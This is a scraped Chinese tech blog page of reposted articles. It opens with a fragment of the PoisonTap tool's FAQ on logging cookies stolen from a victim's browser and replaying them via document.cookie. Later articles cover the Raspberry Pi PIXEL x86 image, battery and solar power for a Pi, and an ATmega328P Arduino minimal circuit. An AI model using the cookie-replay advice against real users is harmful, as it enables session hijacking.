  • poisontap.cookies.log – 一旦用户的机器开始向PoisonTap发送HTTP请求,就会生成此文件,并将该cookie与浏览器及其所属的相关联的URL /域一起记录下来。


经常问的问题

  • 问:如何添加要退回的其他域?

target_injected_xhtmljs.html

getDoms()

  • 函数设置。这本身就由

alexa1m.sh

  • repo根目录中的脚本填充。如果您希望在此列表中添加其他域名,您可以简单地修改返回呼叫

getDoms()

  • A:要退回的域列表

  • 问:您如何使用捕获的Cookie?

  • A:您可以直接从浏览器中的JavaScript控制台使用Document.cookie API来设置Cookie。此StackOverflow文章还提供了一些Chrome特定的建议,例如Cookie检查器Chrome扩展程序。

原文始发于:PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

|

在PC或Mac上运行树莓派官方系统PIXEL 桌面

在PC或Mac上运行树莓派官方系统PIXEL 桌面

Raspberry Pi基金会宣布发布一款可以在PC或Mac上启动的PIXEL镜像。这是一个“实时”分发,所以可以从DVD或USB棒运行,而无需更改当前的操作系统。这对于使用环境而不用双重启动或将设备永久专用于PIXEL而言非常棒。

基金会决定作出这个大胆的举动,原因有很多

  • 如果使用x86机器,让孩子们可以在学校和家庭硬件之间转移他们的系统

  • 使用户能够更轻松地开发,开发和部署Pi硬件不可用的项目

它被认为是一个原型,事情在将来可能会改变,所以看这个空间!

下载镜像:

镜像可以直接从下面的链接下载:

2016-12-13-pixel-x86-jessie.iso(下载大小〜1.3GB )

|

http://downloads.raspberrypi.org/pixel_x86/images/pixel_x86-2016-12-13/2016-12-13-pixel-x86-jessie.iso

|

或通过Torrent使用:

2016年12月13日像素86 jessie.iso.torrent

|

http://downloads.raspberrypi.org/pixel_x86/images/pixel_x86-2016-12-13/2016-12-13-pixel-x86-jessie.iso.torrent

|

目前它没有列在官方下载页面,但我怀疑将来会发生变化。

写入镜像

该图像是标准ISO文件,因此可以使用您最喜爱的实用程序将其写入DVD或USB驱动器。

在PC或Mac上运行树莓派官方系统PIXEL 桌面

要写入SD / USB镜像,我使用Etcher使用本指南: 使用Etcher在Windows,Linux和Mac上写入SD卡镜像

启动映像的确切过程将取决于您的硬件。您可以咨询您的用户手册或Google的型号。

例如对于我的三星S3520我Googled“Samsung从USB启动”。这给了我需要修改Bios设置以允许系统从USB驱动器引导的说明。我在BIOS设置中禁用了“快速BIOS模式”,并更改了“启动设备优先级”,因此“USB HDD”位于顶部。然后我保存并重新启动。

在PC或Mac上运行树莓派官方系统PIXEL 桌面

虚拟机

也可以将该ISO映像作为虚拟机运行。我将其加载到我的Windows 10 PC上的Oracle的VirtualBox中。

在PC或Mac上运行树莓派官方系统PIXEL 桌面

差异

PC / Mac版本与我们熟悉的Pi版本有很多不同之处:

  • 没有Minecraft

  • 没有Wolfram数学

  • 没有raspi-config实用程序

这些差异是由于许可证问题或Pi硬件未被使用的事实。

原文始发于:在PC或Mac上运行树莓派官方系统PIXEL 桌面

|

太阳能供电的树莓派!

太阳能供电的树莓派!

大卫是从cottonpickersplace.co.uk Design Spark的好朋友,在这里,他教我们如何使你的树莓派便携,并保持更长的通电时间!

太阳能供电的树莓派!

大多数人会用标准的5V USB插座去运行他们的Pi,但其实它能够运行于更大范围的电压,而且会表现得更好,因此我们可以发掘更多有趣的功能。

正式而言,Pi的供电电压应该介于1A 4.75V- 5.25V 之间。原来的FAQ证实它可以从开启4xAA电池运行(这样6V左右),在测试中,我已经成功地运行各种Pi于4V至6V之间。对于许多生产厂家,这些电压参数已包含变动的合理利润率,所以官方的保守数字一定有回旋余地。在本文中,我们将停留在推荐范围内,但勇敢的可以你尝试远一点。请注意,额定电流是一个“最低”,而不是最大的参数。您可以愉快地从5V 中尝试5甚至10安培,这样只实现了Pi所需要的电流 – Pi会被高电压破坏。

对于Pi最简单和最有效的备用电源其实只是4xAA镍氢充电电池。他们都标有1.2V的“名义”的值数,但它们的电压范围从1.1V(空时)左右至1.4V(满时) 。你可以看到当它们串联(4.4V-5.6V)时,电压的要求几乎完全符合。他们绝对能够提供1A的电流给Pi,那Pi就可以呼唤连接着自已的配件。在大多数情况下,Pi要求的只是可能较温和的400毫安(超过半安培以下)电力。当情况没有调节器或在电源和负载之间的其它电削弱电路,此电力选择是十分有效率的。

太阳能供电的树莓派!

比起树莓派“B”模式典型耗电量, Pi 3是差不多的而A型树莓派的需要大约一半的电流。

接线起来最快的方法是拿起像這樣的一个4xAA电池盒和剪下微型USB引线一半,将红色正极线和黑色负极线连接一起(红对红,黑对黑)和将两条线绝缘防止它们互相接触。其余的USB线(通常是绿色和白色)是数据线,而Pi是不使用的,所以你可以愉快地切断这些,让他们断绝关系。

一个整洁的解决方案是将电池盒连线到一个USB插座。毫无疑问,像我一样,你会发现这个方便的便携式USB供电有许多用途。一些设备(如iPhone)查询数据线之前,他们将占用电力,所以你不能没有一些进一步的工作就使用它,但对于许多设备,它在此功能上有很好的伎俩。

根据Pi可以运行约3小时(B型)至7小时(A+型)的优点,令它成为一个好好的便携电源选择。

你可以很容易地将电源由AA电池升级到D级电池从而以五陪为基本去提高运行时间。但如果你希望提升到24小时的结果,你可能需要更大型的改变。

以铅酸(Lead Acid)去运行Pi

对于扩展运行时间超过10小时,你看起来很可能需要到6V或12V铅酸蓄电池和下降一点的电压。两者都是非常可行的,尽管不是那么便携,但它可以存储更多的能量。

比较各种的瓦特小时(WH)评级是判断电池能为Pi供电多久最准确的方法。数学上,这是电压。由于Pi每小时大约使用2瓦电,每WH供Pi运行半小时。 。根据经验,更简单是看一下电池的重量和尺寸。重型12V车用电池明显地比小型6V7Ah提供更多的能量。

就像AA NiMH您需要了解的电池标称或’标签’电压。在现实中,一个6V铅酸电池实际范围是6V左右(平)到大约7.2V(完全充电),你可以看到,这是Pi可以正式接受的电压范围。显然,12V对于该商标而言太远! 在这些电压中,我们需要引入一个电压调节器,以使电压下降到可接受的水平。即使有大量的选择但我最喜欢的仍是LM2940T,它是一个不错的低压降稳压器能够把容下宽电压范围,并把它下降至5V。我喜欢它,因为它不浪费宝贵的电,正如你会看到后我仔细地点出它的价值。它可以真正接受(刚刚超过6V一路至25V),一个宽电压范围。我平时会用几个小电容来平滑电源和散热片,但你可以跳过这些直接去测试。

太阳能供电的树莓派!

如果你跟随这个电路图,你可能需要在电线的一端夹上一些鳄鱼夹和在电线上另一端加上USB头。这样就能够制造一个更好的便携插口,令你可以使用不同的USB用具和不同的电源。

电池只能容纳这么大的能量

不管你使用什么尺寸的电池电量到最终都会耗尽,因此你都要同时考虑充电的方法。你可以只使用一个标准的电源插座充电,但我喜欢用太阳能来代替,因为它使Pi非常便携,当然更环保。它也开辟了离网独立运行,你可以将它们用于间隔定时拍摄或远程监视和控制。

“令人惊讶的是,世界现时25%以上的电力是由可再生能源产生的,因此因此只有拟合看看如何在一个生态友好的方式运行你的皮,并可以释放壁式充电器的自己。”

无论时间的长短,要仅用太阳能电池板去运行一个Pi是不可行的。因为由太阳能电池板产生的电流波动的基础上的阳光的击中面板和将不能够一致地提供1A连续的量。当太阳下山在云背后的时候,电流将降低高达90%,这将导致Pi的重新启动,可能会令SD卡容易损坏。出于这个原因,你应该看看太阳能量储存的装置。平衡控制板和电池的大小是一个有趣的游戏,将帮助您优化您的使用和重量。快速的方法来确定你所需要的又是看面板可多少瓦供应,并期待在电池多少瓦时可以存储。

Pi每小时使用约2瓦,如果你想运行你的Pi约10小时,你则需要20瓦时(Wh)。要达到此目的,你可以使用一个大型的20Wh电池。又或者使用小型10Wh的电池再加上能够制造10Wh的大板面,就能够达到相同目的。在一个阳光明媚的日子,您可以使用3瓦的太阳能电池板和覆盖缺口。太阳能的优点是,你不需要付出去得到能源。如果您正在寻找的24×7运作数学是一样的,你只需要考虑你可能需要迎接多少天没有太阳,以及如何迅速加满你的电池。有些不错的图表可以用来太阳的走势,不会受到区域局限。

如果你想要一个便宜和基本的太阳能装置那就简单得多,你只需连接几乎任何小6V-9V的太阳能电池板到你的4xNiMH充电电池-一个可以放出来百毫安至200mA将是将是完美的。想比起Liion和Lead acid,镍氢充电电池是相当宽容。当充满电后,它的温度会变暖,就你从家用充电器充电一样。我推荐高达200mA的,这是只他们的额定容量十分之一-而且完成其较高的充电速率后用来保持细胞“准备就绪”。太阳能有一个属性是能够自动停在某个电压水平,因此你甚至可以连接去12V,百毫安太阳能电池板。

我总是把二极管放在电池板和电池之间的正线,这样可以防止电池在夜间通过面板损失能量。 1A的40V肖特基二极管是完美的,因为肖特基二极管具有低压降(约0.3V)和那些收视率都超过它需要处理的情况。

太阳能供电的树莓派!

太阳能供电的树莓派!

如果你打算使用一个12V的电池,而非镍氢电池,你应该使用商业3或4级充电控制器,以保护电池的过份充电。

我的完美的太阳能Pi

我结合了很多建议和学到的知识于我的Cottonpickers Solar Pi Case上。它集合成一个小型(1.25Watt)的太阳能板,而且还结集着由3D打印出整洁,紧凑,坚固的NiMH电池盒。我希望能够在壳体内充电,而不是标淮的USB充电或内置的太阳能电池板充电。我用一种有效的升压电压转换器来实现这一点。当充电并在阳光下可以运行为7小时 – 这对我来说是运行时间和便携性的完美结合。要真正的随时随地,你可以添加许多TFT显示器之一,令人惊讶的是这个太阳能电池和NiMH组合仍可以运行数小时。

太阳能供电的树莓派!

原文始发于:太阳能供电的树莓派!

|

ATMega328P-PU芯片Arduino最小系统实验

材料准备:

  1、ATmega 8(可以是“ATmega 8A-PU”、“ATmega 8PU-8PU”或“ATmega 8-16PU”,具体的差别下面会说)

  2、22pF陶瓷电容两个

  3、晶振一个(“ATmega 8A-PU”、“ATmega 8PU-8PU”用8M,“ATmega 8-16PU”用16M)

  4、USBtinyISP一个

ATMega328P-PU芯片Arduino最小系统实验

 

 

 

先看Atmega8引脚示意图


电路一共分两个部分

  1、震荡电路:

ATMega328P-PU芯片Arduino最小系统实验

ATMega328P-PU芯片Arduino最小系统实验

  晶振连接Atmega8的pin9(PB6)、pin10(PB7),在分别连接连个22pF的电容,最后让一只电容接地。

 2、程序下载以及供电部分:

  ICSP引脚连接图:

连接器的VCC直接接入328p的pin7,GND接面包板上布置的地。
连接器的RST接pin1,MISO接pin18,MOSI接pin17,SCK接pin19(也就是接LED的那个)。

  ATMega328P-PU芯片Arduino最小系统实验

  +5V → pin7(VCC)

  GND → ping22(GND)

  D11 → pin17(PB3)

  D12 → pin18(PB4)

  D13 → pin19(PB5)

  reset → pin1(reset)

ATMega328P-PU芯片和USBtinyISP编程器。(这个编程器有3.0版本的,https://learn.adafruit.com/usbtinyisp/drivers 驱动包)
 

面包板上按这个图插好元件。虚线的地方暂时先不要接线,面包板上也不要接通任何外部电源!!!
 

接下来烧入bootloader使这块芯片支持Arduino。我的Arduino IDE的版本是1.7.10。在菜单“板”中选Arduino Mini,“处理器”选328,“编程器”选USBtinyISP。选择“烧入引导程序”,居然秒成功,我还没反应过来IDE就显示上传成功了。
 

继续保持这个姿势打开Blink示例程序,文件菜单里选择“使用编程器上传”,稍等片刻应该就可以看到它生效了!
 

Windows升级到了Win10,Arduino IDE下载安装了个1.8.1。试了下烧Bootloader时板卡可以选择UNO。

ATMega328P-PU芯片Arduino最小系统实验

参考:http://www.51hei.com/arduino/4164.html
https://blog.csdn.net/ki1381/article/details/53189218